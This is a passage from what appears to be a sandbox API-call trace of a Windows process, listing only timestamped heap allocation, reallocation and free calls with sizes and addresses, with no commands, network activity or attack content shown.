lpMem=0x2a715c0 | out: hHeap=0x2ad0000) returned 1 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0072.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18208 [0072.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fc8 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fc8 | out: hHeap=0x2ad0000) returned 1 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a705f8 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70160 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181c0 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18028 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64c8 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0072.167] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64c8, Size=0x14) returned 0x2a71840 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18028 | out: hHeap=0x2ad0000) returned 1 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181c0 | out: hHeap=0x2ad0000) returned 1 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181a8 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181a8 | out: hHeap=0x2ad0000) returned 1 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b868 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182b0 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17ff8 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6428 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0072.167] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a71920 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17ff8 | out: hHeap=0x2ad0000) returned 1 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182b0 | out: hHeap=0x2ad0000) returned 1 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71920 | out: hHeap=0x2ad0000) returned 1 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181f0 [0072.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181f0 | out: hHeap=0x2ad0000) returned 1 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a170 [0072.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18250 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0072.168] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a71600 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18250 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71600 | out: hHeap=0x2ad0000) returned 1 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18160 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18160 | out: hHeap=0x2ad0000) returned 1 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2af38 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2a1b990 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18088 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a717a0 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a716a0 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a716c0 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a718a0 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64e8 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18220 [0072.168] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64e8, Size=0x14) returned 0x2a717c0 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18220 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718a0 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716c0 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716a0 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18088 | out: hHeap=0x2ad0000) returned 1 [0072.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0072.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18040 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18298 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x50) returned 0x2a18b98 [0072.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18b98 | out: hHeap=0x2ad0000) returned 1 [0072.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2af38 | out: hHeap=0x2ad0000) returned 1 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2af38 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1cd98 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64c8 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0072.169] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64c8, Size=0x14) returned 0x2a71600 [0072.169] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71600, Size=0x24) returned 0x2a201c8 [0072.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0072.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0072.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0072.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0072.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18160 [0072.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c) returned 0x2a73700 [0072.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a73700 | out: hHeap=0x2ad0000) returned 1 [0072.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2af38 | out: hHeap=0x2ad0000) returned 1 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1c158 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1be48 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181c0 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71740 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71640 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71620 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a716e0 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6548 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182b0 [0072.170] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6548, Size=0x14) returned 0x2a715c0 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182b0 | out: hHeap=0x2ad0000) returned 1 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71640 | out: hHeap=0x2ad0000) returned 1 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71740 | out: hHeap=0x2ad0000) returned 1 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181c0 | out: hHeap=0x2ad0000) returned 1 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a715c0 | out: hHeap=0x2ad0000) returned 1 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a73700 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a73700 | out: hHeap=0x2ad0000) returned 1 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1c158 | out: hHeap=0x2ad0000) returned 1 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71760 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18130 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6558 [0072.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0072.170] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6558, Size=0x14) returned 0x2a71580 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0072.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18130 | out: hHeap=0x2ad0000) returned 1 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71760 | out: hHeap=0x2ad0000) returned 1 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180d0 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180d0 | out: hHeap=0x2ad0000) returned 1 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d230 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18028 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71920 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a718c0 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18058 [0072.171] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a71580 [0072.171] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71580, Size=0x24) returned 0x2a20018 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18058 | out: hHeap=0x2ad0000) returned 1 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71920 | out: hHeap=0x2ad0000) returned 1 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18028 | out: hHeap=0x2ad0000) returned 1 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20018 | out: hHeap=0x2ad0000) returned 1 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18058 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1c2e0 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a22170 [0072.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70780 | out: hHeap=0x2ad0000) returned 1 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1c900 [0072.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64d8 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180b8 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180d0 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64e8 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0072.172] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64e8, Size=0x14) returned 0x2a71720 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180d0 | out: hHeap=0x2ad0000) returned 1 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180b8 | out: hHeap=0x2ad0000) returned 1 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64d8 | out: hHeap=0x2ad0000) returned 1 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71720 | out: hHeap=0x2ad0000) returned 1 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a182b0 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71840 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa88 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a716a0 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6458 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a180e8 [0072.172] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6458, Size=0x14) returned 0x2a71640 [0072.172] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71640, Size=0x24) returned 0x2a1ffb8 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180e8 | out: hHeap=0x2ad0000) returned 1 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716a0 | out: hHeap=0x2ad0000) returned 1 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa88 | out: hHeap=0x2ad0000) returned 1 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182b0 | out: hHeap=0x2ad0000) returned 1 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18250 [0072.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18250 | out: hHeap=0x2ad0000) returned 1 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1c468 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d540 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18028 [0072.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18148 [0072.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6428 [0072.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0072.173] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a71700 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18148 | out: hHeap=0x2ad0000) returned 1 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18028 | out: hHeap=0x2ad0000) returned 1 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0072.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0072.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71660 [0072.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0072.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6518 [0072.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64b8 [0072.173] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2a71680 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64b8 | out: hHeap=0x2ad0000) returned 1 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0072.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a182b0 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182b0 | out: hHeap=0x2ad0000) returned 1 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1c5f0 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6558 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6588 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0072.174] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6588, Size=0x14) returned 0x2a71600 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71600 | out: hHeap=0x2ad0000) returned 1 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1ca88 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1c158 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18148 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0072.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0072.174] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a71660 [0072.174] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71660, Size=0x24) returned 0x2a20168 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18148 | out: hHeap=0x2ad0000) returned 1 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0072.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20168 | out: hHeap=0x2ad0000) returned 1 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18250 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20198 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20198 | out: hHeap=0x2ad0000) returned 1 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ca88 | out: hHeap=0x2ad0000) returned 1 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d850 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1c778 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a715c0 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6448 